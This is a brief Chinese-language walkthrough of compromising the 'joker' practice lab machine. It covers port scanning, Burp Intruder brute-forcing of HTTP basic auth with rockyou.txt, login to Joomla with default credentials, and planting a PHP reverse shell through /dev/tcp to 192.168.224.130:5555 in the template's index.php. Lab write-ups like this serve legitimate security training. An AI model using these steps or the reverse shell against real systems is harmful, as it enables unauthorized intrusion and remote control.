joker靶机

先设置为NAT模式

主机发现

Masscan快速扫描端口

服务扫描

访问8080端口，需要用户名和密码来登录

抓包，发现是base64加密，类似于tomcat的用户名和密码格式

放到intruder模块，爆破

第二个字典选择kali 里面/usr/share/wordlists/rockyou.txt 这是一个具有14万的字典

爆破得到用户名和密码

登录进来

发现是joomla搭建的，直接登后台，默认用户名和密码，joomla,joomla

进来找到index.php

写入反弹shell

<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.224.130/5555 0>&1'");

?>

点击TemplatePreview预览index.php

端口监听，成功